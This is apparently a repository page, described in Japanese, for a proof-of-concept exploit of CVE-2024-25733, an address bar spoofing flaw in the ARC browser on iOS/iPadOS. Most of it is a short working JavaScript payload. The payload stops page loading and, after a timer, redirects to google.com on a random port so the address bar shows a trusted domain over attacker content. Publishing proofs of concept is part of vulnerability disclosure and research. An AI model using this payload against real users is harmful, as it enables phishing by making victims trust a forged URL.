hackintoanetwork/arc-browser-address-bar-spoofing-pocCVE-2024-25733の概念実証エクスプロイト。JavaScriptベースのナビゲーション操作を使用して、iOS/iPadOSのARCブラウザでアドレスバースプーフィングを示します。
ARC Browser アドレスバースプーフィング PoC - iOS/iPadOS
<script>
function spoof() {
setTimeout(() => {
window.stop();
let randomPort;
do {
randomPort = Math.floor(Math.random() * 1000);
} while (randomPort === 0 || randomPort === 443);
document.location = "https://google.com:" + randomPort + "/";
}, 300);
}
spoof();
</script>